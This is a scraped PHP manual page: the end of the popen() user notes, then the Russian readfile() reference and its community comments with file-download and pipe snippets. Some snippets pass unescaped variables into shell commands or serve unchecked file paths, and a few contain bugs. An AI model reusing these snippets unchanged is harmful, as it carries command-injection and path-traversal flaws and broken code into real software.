    header( 'Content-Transfer-Encoding: binary' );
    //@readfile( $file );

    flush();
    $fp = popen("tail -c ".trim(`stat -c%s "$file"`)." ".$file.' 2>&1', "r");
    while(!feof($fp))
    {
        // send the current file part to the browser
        print fread($fp, 1024);
        // flush the content to the browser
        flush();
    }
    fclose($fp);
}
?>
rockytriton 10-Sep-2007 11:25
Note, when using this with a batch file in windows, you must put an "exit" at the end of your batch file or you will get a new cmd.exe stuck in your process list every time you execute the page.
betchern0t 13-Apr-2007 09:42
Care needs to be taken in the case of long running child processes. Say you want to run tail -f /var/log/messages or in my case burn dvds. If you have a busy wait, Apache2 can sit towards 100%cpu and steadily grow memory. In my case I crashed the server after about an hour and 90% of the dvd burned. During that time apache had consumed a gig of swap.

Offending code - don't copy:

<?php
        $ThisCommand = sprintf("%s %s",COMMAND,$ThisFile);
        $fp=popen($ThisCommand,"r");
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 4096);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
        }
        pclose($fp);
?>

to go from zero memory and 100% cpu  to negligible memory and negligible cpu add a sleep.

<?php
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 256);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
                // avoid a busy wait
                sleep(1);

        }
?>

I think the continued banging of the space to keep the browser awake triggered some issues in apache.
don at digithink dot com 19-Dec-2005 04:28
<?php
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
?>
rjl at xs4all dot nl 23-Nov-2005 01:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

<?php
echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
    $buffer = fgets($fp, 4096);
    $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";
?>

Ciao,

Rene =<>=
Cride5 08-Sep-2005 05:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
    $buffer = fgets($handle);
    echo "$buffer<br/>\n";
    ob_flush();
    flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com 20-Jun-2005 06:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?php
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
    $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
    pclose($externalProcess);
}
?>

with this, doing something like

<?php runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
PGP Dude 06-May-2005 12:30
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".  [Because of this,] LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
    fwrite($pipes[0], $plain_text);
    fclose($pipes[0]);
    while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $encrypted_text .= $s;
    }
    fclose($pipes[1]);
    // optional:
    while($s= fgets($pipes[2], 1024)) {
      $encrypted_text.= "\n<p>Error: $s</p>\n";
    }
    fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
Michel Machado 06-Mar-2004 05:53
Yet another workaround for not having bidirectional pipes in php.

<?php
$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
?>
http://vmlinuz.nl/about/contact/ 11-Nov-2002 08:58
From the popen linux programmers manual:

"The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag."

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org 08-Aug-2002 11:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

<?php
  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
    unlink($tmpfile);
  } else {
    fwrite($pipe, $plaintxt, strlen($plaintxt));
    pclose($pipe);
    $fd = fopen($tmpfile, "rb");
    $output = fread($fd, filesize($tmpfile));
    fclose($fd);
    unlink($tmpfile);
  }
  return $output;
?>

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 02:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

<?php
function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
    print "pipe failed.";
    return "";
  }
  $output = '';
  while(!feof($pipe)) {
    $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
?>
cyberlot at cyberlot dot net 30-Jun-2002 01:29
The below code works for both way processing ;) Have fun folks

<?php
    system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
    echo $s;
   }

?>
linuxdude010 at yahoo dot com 24-May-2002 11:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

        $key_id = EscapeShellArg($public_key_id);
        putenv("PGPPATH=$keyring_location");

        // encrypt the message
        $pipe = popen("pgpe -r $key_id -af", "r");
        fwrite($pipe, $plain_text);
        $encrypted_text = '';
        while($s = fgets($pipe, 1024)) {
                // read from the pipe
                $encrypted_text .= $s;
        }
        pclose($pipe);

        return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com 08-Mar-2002 04:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?php
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
      $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.


Выводит файл

  • « popen
  • readlink »
  • PHP Manual
  • Функции файловой системы
  • Выводит файл

readfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readfile — Выводит файл

Описание

readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false

Читает файл и записывает его в буфер вывода.

Список параметров

filename

Имя читаемого файла.

use_include_path

Если вы хотите, чтобы использовался поиск файла в include_path, установите этот параметр в true.

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает количество прочитанных из файла байт в случае успешного выполнения или false в случае возникновения ошибки

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Принудительная загрузка с помощью readfile()

<?php
$file = 'monkey.gif';

if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Диалог открытия / сохранения файла

Примечания

Замечание:

readfile() сама по себе не приводит к каким-либо проблемам с памятью, даже при отправке больших файлов. При возникновении ошибки превышения памяти убедитесь, что буферизация вывода отключена с помощью ob_get_level().

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • fpassthru() - Выводит все оставшиеся данные из файлового указателя
  • file() - Читает содержимое файла и помещает его в массив
  • fopen() - Открывает файл или URL
  • include - include
  • require - require
  • virtual() - Выполняет подзапрос Apache
  • file_get_contents() - Читает содержимое файла в строку
  • Поддерживаемые протоколы и обёртки

User Contributed Notes

jorensmerenjanu at gmail dot com 14-Jun-2021 08:31
For anyone having the problem of your html page being outputted in the downloaded file: call the functions ob_clean() and flush() before readfile()
simbiat at outlook dot com 15-Feb-2021 08:28
flobee.at.gmail.dot.com shared "readfile_chunked" function. It does work, but you may encounter memory exhaustion using "fread". Meanwhile "stream_copy_to_stream" seems to utilize the same amount of memory as "readfile". At least, when I was testing "download" function for my https://github.com/Simbiat/HTTP20 library on 1.5G file with 256M memory limitation that was the case: "fread" I got peak memory usage of ~240M, while with "stream_copy_to_stream" - ~150M.
It does not mean that you can fully escape memory exhaustion, though: if you are reading too much at a time, you can still encounter it. That is why in my library I use a helper function ("speedLimit") to calculate whether selected speed limit will fit the available memory (while allowing some headroom).
You can read comments in the code itself for more details and raise issues for the library, if you think something is incorrect there (especially since it's WIP at the moment of writing this), but so far I am able to get consistent behavior with it.
Anonymous 03-May-2019 11:35
To avoid errors,
just be careful whether slash "/" is allowed or not at the beginning of $file_name parameter.

In my case, trying to send PDF files thru PHP after access-logging,
the beginning "/" must be removed in PHP 7.1.
Paulinator 27-May-2018 09:45
Always using MIME-Type 'application/octet-stream' is not optimal. Most if not all browsers will simply download files with that type.

If you use proper MIME types (and inline Content-Disposition), browsers will have better default actions for some of them. Eg. in case of images, browsers will display them, which is probably what you'd want.

To deliver the file with the proper MIME type, the easiest way is to use:

header('Content-Type: ' . mime_content_type($file));
header('Content-Disposition: inline; filename="'.basename($file).'"');
anon 19-Nov-2016 02:30
In the C source, this function simply opens the path in read+binary mode, without a lock, and uses fpassthru()

If you need a locked read, use fopen(), flock(), and then fpassthru() directly.
Anonymous 18-Oct-2014 12:18
<form action = "open.php" method = "post" >
<input ="text" name ="brian" >
<input type = "submit" name = "download" value = "download">
</form>
<?php

if(isset($_POST['download']))
{
$img ='img';
$pic = '\marcus2';
$fad = 'pdf';

$file = $img.''. $pic .'.'. $fad;

echo $file;

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

}

?>
Brian 25-Feb-2014 01:01
If you are looking for an algorithm that will allow you to download (force download) a big file, may this one will help you.

$filename = "file.csv";
$filepath = "/path/to/file/" . $filename;

// Close sessions to prevent user from waiting until
// download will finish (uncomment if needed)
//session_write_close();

set_time_limit(0);
ignore_user_abort(false);
ini_set('output_buffering', 0);
ini_set('zlib.output_compression', 0);

$chunk = 10 * 1024 * 1024; // bytes per chunk (10 MB)

$fh = fopen($filepath, "rb");

if ($fh === false) {
    echo "Unable open file";
}

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));

// Repeat reading until EOF
while (!feof($fh)) {
    echo fread($handle, $chunk);

    ob_flush();  // flush output
    flush();
}

exit;
riksoft at gmail dot com 21-Feb-2014 06:03
Just a note for those who face problems on names containing spaces (e.g. "test test.pdf").

In the examples (99% of the time) you can find
header('Content-Disposition: attachment; filename='.basename($file));

but the correct way to set the filename is quoting it (double quote):
header('Content-Disposition: attachment; filename="'.basename($file).'"' );

Some browsers may work without quotation, but for sure not Firefox and as Mozilla explains, the quotation of the filename in the content-disposition is according to the RFC
http://kb.mozillazine.org/Filenames_with_spaces_are_truncated_upon_download
kevin dot goodman at itmsoil dot com 01-Mar-2013 04:16
I wasted days trying to figure this out before I found the problem was easily solved.

I'm sure many of you out there have had similar problem when trying to use readfile to output images with a php file as the "src" of a "img" tag.
It works fine "as is" in Firefox but not in IE, Safari or g.Chrome.

I found hundreds of results on google all saying things like "there must be white space at the end of you code", "you need this header or that header".
I couldn't believe what the solution was but here it is anyway!

Remove the "Width" and "Height" attributes from your "img" tag
daren -remove-me- schwenke 05-May-2011 08:52
If you are lucky enough to not be on shared hosting and have apache, look at installing mod_xsendfile.
This was the only way I found to both protect and transfer very large files with PHP (gigabytes).
It's also proved to be much faster for basically any file.
Available directives have changed since the other note on this and XSendFileAllowAbove was replaced with XSendFilePath to allow more control over access to files outside of webroot.

Download the source.

Install with: apxs -cia mod_xsendfile.c

Add the appropriate configuration directives to your .htaccess or httpd.conf files:
# Turn it on
XSendFile on
# Whitelist a target directory.
XSendFilePath /tmp/blah

Then to use it in your script:
<?php
$file = '/tmp/blah/foo.iso';
$download_name = basename($file);
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$download_name);
    header('X-Sendfile: '.$file);
    exit;
}
?>
cOrti 31-Mar-2011 03:59
Hello,

Here's a simple trick for browsers (FF, IE) address spaces in filenames for Content-Disposition:

eg: <?php header ("Content-Disposition:attachment; filename=\"$filename\""); ?>

The \ "before and after the file name makes the difference.
Mike 04-Aug-2010 07:46
Beware of using download managers.. I was trying to use readfile in IE8 and kept getting the message "failed to get data for 'type'". Eventually figured out the problem was that I had LeechGet installed and it was intercepting the download, which in turn prevented the download from taking place.
Zambz 22-May-2010 06:33
If you are using the procedures outlined in this article to force sending a file to a user, you may find that the "Content-Length" header is not being sent on some servers.

The reason this occurs is because some servers are setup by default to enable gzip compression, which sends an additional header for such operations.  This additional header is "Transfer-Encoding: chunked" which essentially overrides the "Content-Length" header and forces a chunked download.  Of course, this is not required if you are using the intelligent versions of readfile in this article.

A missing Content-Length header implies the following:

1) Your browser will not show a progress bar on downloads because it doesn't know their length
2) If you output anything (e.g. white space) after the readfile function (by mistake), the browser will add that to the end of the download, resulting in corrupt data.

The easiest way to disable this behaviour is with the following .htaccess directive.

SetEnv no-gzip dont-vary
sakai at d4k dot net 23-Apr-2009 05:25
To reduce the burden on the server, you might want to output "Etag" and/or "Last-Modified" on http response header.  But there are some headers, which PHP itself outputs automatically, disturbing this.  So I wrote this function with erasing these.

If you guys know how to judge the return values of function "stat", in order to avoid using "is_file" or "is_readable" (or "is_dir"), please let me know or just write it here.

If you don't have to do anything special on 404, "header('HTTP/1.x xxx xxxxx');" can be inside of the function.

<?php

$filename = '/foo/bar/myfeed.rss';
$http_stat_code = readfile_if_modified($filename, array('Content-Type: text/xml'));
switch($http_stat_code) {
case 404:
    header('HTTP/1.0 404 Not Found');
    echo '<html><head></head><body><a href="http://example.com/">http://example.com/<a></body></html>';
    exit;
default:
    header('X-System-Url: http://example.com/', true, $http_stat_code);
}

function readfile_if_modified($filename, $http_header_additionals = array()) {

    if(!is_file($filename)) {
//      header('HTTP/1.0 404 Not Found');
        return 404;
    }

    if(!is_readable($filename)) {
//      header('HTTP/1.0 403 Forbidden');
        return 403;
    }

    $stat = @stat($filename);
    $etag = sprintf('%x-%x-%x', $stat['ino'], $stat['size'], $stat['mtime'] * 1000000);

    header('Expires: ');
    header('Cache-Control: ');
    header('Pragma: ');

    if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {
        header('Etag: "' . $etag . '"');
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $stat['mtime']) {
        header('Last-Modified: ' . date('r', $stat['mtime']));
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    }

    header('Last-Modified: ' . date('r', $stat['mtime']));
    header('Etag: "' . $etag . '"');
    header('Accept-Ranges: bytes');
    header('Content-Length:' . $stat['size']);
    foreach($http_header_additionals as $header) {
        header($header);
    }

    if(@readfile($filename) === false) {
//      header('HTTP/1.0 500 Internal Server Error');
        return 500;
    } else {
//      header('HTTP/1.0 200 OK');
        return 200;
    }

}

?>
levhita at gmail dot com 21-Oct-2008 12:59
A note on the smartReadFile function from gaosipov:

Change the indexes on the preg_match matches to:

      $begin = intval($matches[1]);
      if( !empty($matches[2]) ) {
        $end = intval($matches[2]);
      }

Otherwise the $begin would be set to the entire section matched and the $end to what should be the begin.

See preg_match for more details on this.
gaosipov at gmail dot com 09-Oct-2008 02:08
Send file with HTTPRange support (partial download):

<?php
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'rb');
  if(!$fm)
  { header ("HTTP/1.0 505 Internal server error");
    return;
  }

  $begin=0;
  $end=$size;

  if(isset($_SERVER['HTTP_RANGE']))
  { if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches))
    { $begin=intval($matches[0]);
      if(!empty($matches[1]))
        $end=intval($matches[1]);
    }
  }

  if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
  else
    header('HTTP/1.0 200 OK');

  header("Content-Type: $mimeType");
  header('Cache-Control: public, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Accept-Ranges: bytes');
  header('Content-Length:'.($end-$begin));
  header("Content-Range: bytes $begin-$end/$size");
  header("Content-Disposition: inline; filename=$filename");
  header("Content-Transfer-Encoding: binary\n");
  header("Last-Modified: $time");
  header('Connection: close');

  $cur=$begin;
  fseek($fm,$begin,0);

  while(!feof($fm)&&$cur<$end&&(connection_status()==0))
  { print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
  }
}
?>

Usage:

<?php
smartReadFile("/tmp/filename","myfile.mp3","audio/mpeg")
?>

It can be slow for big files to read by fread, but this is a single way to read file in strict bounds. You can modify this and add fpassthru instead of fread and while, but it sends all data from begin --- it would be not fruitful if request is bytes from 100 to 200 from 100mb file.
johniskew 26-Sep-2008 12:17
@marks suggestion-

That is one way to do it, however this is avoidable.  For example in Zend Framework you could do

<?php

// Action controller
public function someAction() {

    $response = $this->_response;

    // Disable view and layout rendering
    $this->_helper->viewRenderer->setNoRender();
    $this->_helper->layout()->disableLayout();

    // Process the file
    $file = 'whatever.zip';
    $bits = @file_get_contents($file);
    if(strlen($bits) == 0) {
        $response->setBody('Sorry, we could not find requested download file.');
    }
    else {
        $response->setHeader('Content-type', 'application/octet-stream', true);
        $response->setBody($bits);
    }
}

?>
yura_imbp at mail dot ru 05-Jun-2008 09:46
if you need to limit download rate, use this code

<?php
$local_file = 'file.zip';
$download_file = 'name.zip';

// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file))
{
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);

    flush();
    $file = fopen($local_file, "r");
    while(!feof($file))
    {
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);}
else {
    die('Error: The file '.$local_file.' does not exist!');
}

?>
marro at email dot cz 19-Mar-2008 11:17
My script working correctly on IE6 and Firefox 2 with any typ e of files (I hope :))

function DownloadFile($file) { // $file = include path
        if(file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename='.basename($file));
            header('Content-Transfer-Encoding: binary');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            ob_clean();
            flush();
            readfile($file);
            exit;
        }

    }

Run on Apache 2 (WIN32) PHP5
TimB 11-Feb-2008 02:23
To anyone that's had problems with Readfile() reading large files into memory the problem is not Readfile() itself, it's because you have output buffering on. Just turn off output buffering immediately before the call to Readfile(). Use something like ob_end_flush().
Hayley Watson 17-Oct-2007 09:27
To avoid the risk of choosing themselves which files to download by messing with the request and doing things like inserting "../" into the "filename", simply remember that URLs are not file paths, and there's no reason why the mapping between them has to be so literal as "download.php?file=thingy.mpg" resulting in the download of the file "thingy.mpg".

It's your script and you have full control over how it maps file requests to file names, and which requests retrieve which files.

But even then, as ever, never trust ANYTHING in the request. Basic first-day-at-school security principle, that.
Sinured 17-Jul-2007 06:00
In response to "grey - greywyvern - com":

If you know the target _can't_ be a remote file (e.g. prefixing it with a directory), you should use include instead.
If the user manages to set the target to some kinda config-file (configuration.php in Joomla!), he will get a blank page - unless readfile() is used. Using include will just behave as a normal request (no output).
For remote files however use readfile().
Kniht 07-Jul-2007 11:27
@Elliott Brueggeman
What's the point of a user's settings if not to determine their environment? If they have it set a specific way, honor their setting.
Elliott Brueggeman 25-Jun-2007 08:47
I have noticed some unusual behavior with Internet Explorer 6 that's worth taking note of. I have a link on my site to a script that outputs an XML file to the browser with the below code:

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$filename.'"');
@readfile($file);

When the popular IE setting "Reuse Window for Launching Shortcuts" is unchecked (access this setting in the Tools Menu > Internet Options > Advanced Tab) this script will output the file to the browser and open it in a different window if the user clicks the open button on the IE prompt. However, if this setting is checked, and browser windows are being re-used, then it will open up on top of the page where the link was clicked to access the script.

If I instead set the html link target option to be "_blank", the script will open up in a new window as expected if the "Reuse Window for Launching Shortcuts" is checked. But, if the setting is unchecked, the output XML file will open up in a new window and there will be another blank window also open that has the address of the script, in addition to our original window.

This is far from ideal, and there is no way of knowing whether users have this option checked or not. We are stuck with the distinct possibility of half of our visitors seeing either an annoying third blank window being opened or the script writing over their original window, depending on their "Reuse Window for Launching Shortcuts" setting.
chad 0x40 herballure 0x2e com 17-May-2007 07:53
In reply to herbert dot fischer at NOSPAM dot gmail dot com:

The streams API in PHP5 tries to make things as efficient as possible; in php-5.1.6 on Linux, fpassthru is faster than 'echo fread($fp, 8192)' in a loop, and readfile is even faster for files on disk. I didn't benchmark further, but I'd be willing to bet non-mmap'able streams still win because they can loop in C instead of PHP.
mAu 10-Oct-2006 12:25
Instead of using
<?php
header('Content-Type: application/force-download');
?>
use
<?php
header('Content-Type: application/octet-stream');
?>
Some browsers have troubles with force-download.
peavey at pixelpickers dot com 20-Oct-2005 06:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com 16-Oct-2005 11:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
    # Protect Script against SQL-Injections
    $fileid=intval($_GET[id]);
    # setup SQL statement
    $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

    # execute SQL statement
    $res = mysql_query($sql);

        # display results
        while ($row = mysql_fetch_array($res)) {
        $fileurl = $row['fileurl'];
        $filename= $row['filename'];
        $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

    if ($_GET["hit"]) {
        mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com 20-Sep-2005 02:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
23-Aug-2005 02:39
here is a nice force download scirpt

            $filename = 'dummy.zip';
            $filename = realpath($filename);

            $file_extension = strtolower(substr(strrchr($filename,"."),1));

            switch ($file_extension) {
                case "pdf": $ctype="application/pdf"; break;
                case "exe": $ctype="application/octet-stream"; break;
                case "zip": $ctype="application/zip"; break;
                case "doc": $ctype="application/msword"; break;
                case "xls": $ctype="application/vnd.ms-excel"; break;
                case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
                case "gif": $ctype="image/gif"; break;
                case "png": $ctype="image/png"; break;
                case "jpe": case "jpeg":
                case "jpg": $ctype="image/jpg"; break;
                default: $ctype="application/force-download";
            }

            if (!file_exists($filename)) {
                die("NO FILE HERE");
            }

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private",false);
            header("Content-Type: $ctype");
            header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".@filesize($filename));
            set_time_limit(0);
            @readfile("$filename") or die("File not found.");
chrisputnam at gmail dot com 29-Jun-2005 01:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Philipp Heckel 10-May-2005 04:58
